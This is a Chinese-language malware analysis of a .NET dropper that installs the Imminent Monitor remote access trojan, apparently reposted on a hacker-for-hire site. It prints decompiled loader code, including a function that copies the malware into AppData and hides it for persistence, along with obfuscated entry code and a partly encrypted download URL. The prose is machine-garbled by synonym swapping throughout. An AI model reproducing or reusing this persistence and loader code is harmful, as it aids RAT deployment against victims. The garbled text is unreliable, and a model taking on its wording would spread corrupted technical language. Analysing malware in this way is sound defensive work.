对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

访客5年前黑客资讯1291

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。
之一个if句子在程序会集调用了一个名为okapise的函数,它供给了当前程序的方位、两个称号和一个设置为false的布尔值。据此判别,它或许会履行一个具有给定称号的文件。
第二个if句子会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因而二进制文件或许会在一个进程中自我注入。
第三个if句子会将一个名为mb的函数与四个字符串一同调用,由于在MessageBox(音讯框)中运用了术语body,title,warning和messageonce,mb或许是MessageBox(音讯框)的简写。
第四个if句子调用一个名为d的函数,该函数运用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,依据这个判别,该函数很或许是一个下载文件。 dl内容的一部分是通过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0
第五个if句子会调用一个名为zalepen的函数,该函数运用内容绑定和一个字符串。由于没有可用于检测的内容,因而很难确认这个函数到底是做什么的。别的,该称号也没有供给什么实质性信息。假如字符串中包括单词bind,则意味着歹意软件或许会将自己绑定到某个运转函数上。不过,这仅仅猜想,库中的函数很或许供给有更多的信息。
尽管靠估量和猜想,会得出一些有价值的信息,但必定都不确认。能够必定的是,有必要对这些内容进行检测,不过这些内容在履行之前既没有被写入磁盘,并且还在履行之前现已加密了。为了处理这个问题,能够随时修正代码并中止履行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
 [...]
}
[...]
小结
加载程序——第1阶段相似,对这个阶段做个小结也十分有必要,由于存储在库中的函数在dropper的第二阶段中被调用。尽管参数坐落第二阶段,而代码则在dropper的第三阶段履行:
1.依据运转环境的不同,程序的履行要么中止,要么持续;
2.将设置符号,这些符号稍后将界说在库中所履行的函数;
3.这两个参数都加载到内存中;
4.依据符号的不同,库中的给定办法会运用界说的参数履行;
加载程序——第3阶段(第1部分)
依据dnSpy,程序assemblyPart1.exe开端被命名为svchost.exe(版别0.0.0.0),其进口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件运用了很长且没有意义的字符串进行含糊化处理,具体内容如下所示。
public static void Method0()
{
 AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在阅读文件时,能够看到一个咱们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包括一个歹意运用的音讯,能够在下面找到。
// Imminent-Monitor-Client-Watermark
//
// Types:
//
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在拜访Imminent Method网站时,能够清楚地了解到这种有效载荷的意图便是施行远程管理。在履行这个准备好的二进制文件后,能够在Imminent Method软件的控制面板中拜访受害者的设备,这是RAT的中心功用。
加载程序——第3阶段(第2部分)
用dnSpy翻开assemblyPart2.dll后,能够很明显看到,它是一个动态链接库(原始称号为graznataguz.dll,版别1.1.0.0),其间含有两个类。首要,能够观察到空的内部类模块。此外,还有一个名为RunLib的类,它的称号与第2阶段中挑选的on相同。运用if句子和库中的函数,能够开端依据实践环境匹配所做的假定。
okapise
在之一个if句子中,函数okapise与四个参数一同被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
 Directory.CreateDirectory(Environment.GetFolderPath(26) + "" + value);
 string text = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  filename
 });
 string text2 = string.Concat(new string[]
 {
  Environment.GetFolderPath(26),
  "",
  value,
  "",
  RunLib.RndString(5),
  ".xml"
 });
 string name = WindowsIdentity.GetCurrent().Name;
 string text3 = Resources.TE;
 if (!(location == text))
 {
  File.Copy(location, text, true);
 }
 bool flag = (File.GetAttributes(location) & 2) == 2;
 if (hide && !flag)
 {
  File.SetAttributes(text, File.GetAttributes(text) | 2);

[1] [2] [3] [4]  黑客接单网

相关文章

运用Sboxr完成DOM XSS缝隙的主动发掘与使用

这一系列文章将为咱们展现如安在单页或JavaScript富应用上,运用Sboxr完成DOM XSS缝隙的主动发掘与运用。咱们将以https://domgo.at靶场中的10个DOM XSS的小操练为...

TrickBot新动态解析:近万行代码的Dropper和滥用ADS机制-黑客接单平台

TrickBot是自2019年以来影响规模最大的银行木马之一,经过几年的开展,现在的trickBot或许现已脱离了简略的“银行木马”的领域,它的模块化特点将歹意软件提高到了更高的水平。事实上,它能够被...

记一次对WebScan的Bypass

今日测验了一个网站,发现存在360webscan的阻拦,所以便开端了一波“bypass”。 进入主题 1. 判别注入点 运用“and 1=1”测验了一下,惨遭阻拦。随后又测验了一下or也是被阻拦的。...

继续聊聊梦里的那点事儿(下)-黑客接单平台

前情概要:梦里那点事系列文章(上) 0×05 弱口令是个好东西 忽然有这么多方针,一时间不知从哪下手,这个时分直觉告诉我,机关单位站点也许是突破口。 经历告诉我,此类网站的管理员往往缺少安全防护认识。...

根据时延的盲道研讨:受限环境下的内容回传信道

在一次缝隙赏金活动中,挖到个指令注入的洞,我先以时延作为证明向厂商提交该缝隙,厂商以国内网络环境差为由(确实得翻墙)拒收,几回交流,奉告若我能取回指定文件 secret.txt 才认可。方针是个受限环...

鬼话蜜罐日志剖析

在布置蜜罐之后,会发作很多的日志,关于要挟情报而言,咱们需求经过这些日志来提取其间的有用的数据,本文将会描述提取那些数据用来完结剖析。 布置蜜罐之后会生成描述发作的事情的日志记载。能够收集到的安全事情...